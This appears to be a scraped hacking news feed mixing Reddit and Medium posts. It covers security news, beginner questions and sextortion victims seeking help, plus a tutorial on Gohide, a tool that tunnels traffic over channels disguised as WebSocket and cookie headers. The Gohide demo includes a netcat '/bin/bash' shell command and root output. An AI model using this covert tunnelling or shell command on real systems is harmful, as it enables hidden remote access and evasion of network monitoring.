hacking: security in practice
Cisco confirms Yanluowang ransomware leaked stolen company data. However, the company says in an update that the leak does not change the initial assessment that the incident has no impact on the business

https://external-preview.redd.it/k2JAcVIgJL8gkWGgt5PUyzbO4mmbeOVwHmEhxefbuY0.jpg?width=640&crop=smart&auto=webp&s=6a18e081d851a85f10d2bab9e0fce89f69af26d7 submitted by /u/Glad_Living3908
[link] [comments]

hacking: security in practice
Google announced the completion of the acquisition of Mandiant for $5.4 billion

https://external-preview.redd.it/fuk8UqQX0jiS0BexAmrSzTF7Rj_I7A0Ne2jPtifipIQ.jpg?width=216&crop=smart&auto=webp&s=e56d4ca098497847d44ff17a626284b2d15f6194 submitted by /u/Glad_Living3908
[link] [comments]

hacking: security in practice
dual boot or virtual machine for hacking and programming?

my machine is a ryzen 5600g and a 16 gb ram, with a 120 gb ssd and a 1 t hdd

submitted by /u/Commercial-Finger-42
[link] [comments]

hacking: security in practice
I’m a web developer wanting to make the switch into the cyber security field. Specifically web app security. Additionally I’m also curious about malware development (as a hobbie / to understand the field more)

I’ve been a full stack web developer for a bit over 5 years. Specifically with the MERN stack, but I know quite a bit a Python, MySQL, Java, and a bit of PHP. Im curious what I’d have to do with my free time to better understand the field of web app security? Anything I can build or study? Since I’ve done my fair bit of web development im familiar with common attack vectors like SQL Injextion, XSS, CSRF/XSRF, DNS Spoofing, and phishing / spam websites. Aside from this what are some things I should study up on?

As for the malware side of stuff, I’d like to get into it to see if I enjoy it. I’ve always thought it be cool to make viruses and stuff, are there any sources for creating malware / exploits with Python specifically?

submitted by /u/ThatAnonMan
[link] [comments]

submitted by /u/dunc009
[link] [comments]

Hacking on Medium
Hacktivist Group GhostSec Compromises?

https://cdn-images-1.medium.com/max/728/0*HoDgueA9YUdSZ15Z.gif
A hacktivist collective called GhostSec has claimed credit for compromising as many as 55 Berghof programmable logic controllers (PLCs)…

Continue reading on Medium »

Hacking on Medium
China Accuses NSA’s TAO Unit of Hacking its?

https://cdn-images-1.medium.com/max/728/0*bOB6DcowQuyu9x0r.jpg
China has accused the U.S. National Security Agency (NSA) of conducting a string of cyberattacks aimed at aeronautical and military…

Continue reading on Medium »

Kali Linux Tutorials
Gohide : Tunnel Port To Port Traffic Over An Obfuscated Channel With AES-GCM Encryption

Gohide, Tunnel port to port traffic via an obfuscated channel with AES-GCM encryption.

Obfuscation Modes

* Session Cookie HTTP GET (http-client)
* Set-Cookie Session Cookie HTTP/2 200 OK (http-server)
* WebSocket Handshake “Sec-WebSocket-Key” (websocket-client)
* WebSocket Handshake “Sec-WebSocket-Accept” (websocket-server)
* No obfuscation, just use AES-GCM encrypted messages (none)

AES-GCM is enabled by default for each of the options above.

Usage

root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
-f string
listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default “0.0.0.0:8081”)
-key openssl passwd -1 -salt ok | md5sum
aes encryption secret: use ‘-k openssl passwd -1 -salt ok | md5sum’ to derive key from password (default “5fe10ae58c5ad02a6113305f4e702d07”)
-l string
listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:8080”)
-m string
obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default “none”)
-pem string
path to .pem for TLS encryption mode: default = use hardcoded key pair ‘CN:target.com’, none = plaintext mode (default “default”)
-r string
forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default “127.0.0.1:9999”)

Scenario

Box A – Reverse Handler

root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

Note: /etc/hosts “127.0.0.1 target.com”

Box B – Netcat /bin/bash

root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

Box A – Netcat client

root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu
Active Internet connections (servers and established)
tcp 0 0 127.0.0.1:39684 127.0.0.1:8081 ESTABLISHED 14334/./gohide

Obfuscation Samples

websocket-client (Box A to Box B)

* Sec-WebSocket-Key contains AES-GCM encrypted content e.g. “uname -a”.

GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (Box B to Box A)

* Sec-WebSocket-Accept contains AES-GCM encrypted output.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

* Session cookie header contains AES-GCM encrypted content

GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

* Set-Cookie header contains AES-GCM encrypted content.

HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA
Download

___________________________
@hacking_Attack
@Hacking_Video

How to create a port scanner with bash script in one minute
https://medium.com/@brucevizentin/how-to-create-a-port-scanner-with-bash-script-in-one-minute-e724a930f2a0?source=rss------bug_bounty-5

Hello everyone, today I will show you how to create a Port Scanner in a minute on your Linux or any system with netcat installed.Continue reading on Medium » (https://medium.com/@brucevizentin/how-to-create-a-port-scanner-with-bash-script-in-one-minute-e724a930f2a0?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Me and some other girls are being blackmailed over content that was filmed by a known criminal

Someone is blackmailing me (25F) and some other girls over content that was filmed. The person blackmailing is a known criminal and is ruthless when there’s monetary gain involved. He bribes girls with money he won’t pay and pressures them into making content, but then leaves them in the dark and posts/sells the videos without their consent. I want to erase all of this content off the internet to ease the misery all of us girls have been living through. We are terrified of our reputations becoming tainted. Please advise me on what to do. Any help is appreciated. Thank you so much🙏🏻

submitted by /u/hypnotic-emerald
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Nmap + VPN problem

When connecting to a commercial VPN and then use nmap, the tool usually shows that all ports at the target are open or filtered which is obviously false positive.

Any ideas how/if this can be fixed?

submitted by /u/Kamelbaum1
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
18 Threat Hunting and OSINT Tools

submitted by /u/DigiTroy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is my pc safe or not

So last month, I accidentally downloaded a file and then a week later a random user sent me an email to all of the email that I have used/logged in on my computer. Even the trash emails are on the list. Attached to the email is a screenshot of my desktop and saying that he has hacked my computer(keyboards, microphone and camera) The screenshot was last 08/05 and he sent the email last 08/16 and was asking for a huge amount of money and also blackmailing me that he would release a lot of private information that he got from me. He also said that I only have 2 days to send the money to his bitcoin wallet or else he'll spread a video of me masturbating. So when I read the email(around 8/21) I immediately reformatted my pc and checked if there are malwares or anything suspicious or unusual. Then on 8/26, he sent another email using another dummy account. Attached to it is the same screenshot(08/05 screenshot) and the almost same script. The only difference was the amount of money he was asking and the bitcoin wallet address. And the other night he sent yet another email but still the same screenshot(08/05 screenshot) and the almost the same script as well. But the thing is, I have used 2 new GMAIL accounts in my pc and it was not on the list. Should I still be worried about this? Sorry if I have some grammatical errors, English is not my first language.

submitted by /u/Successful_Bet_2017
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video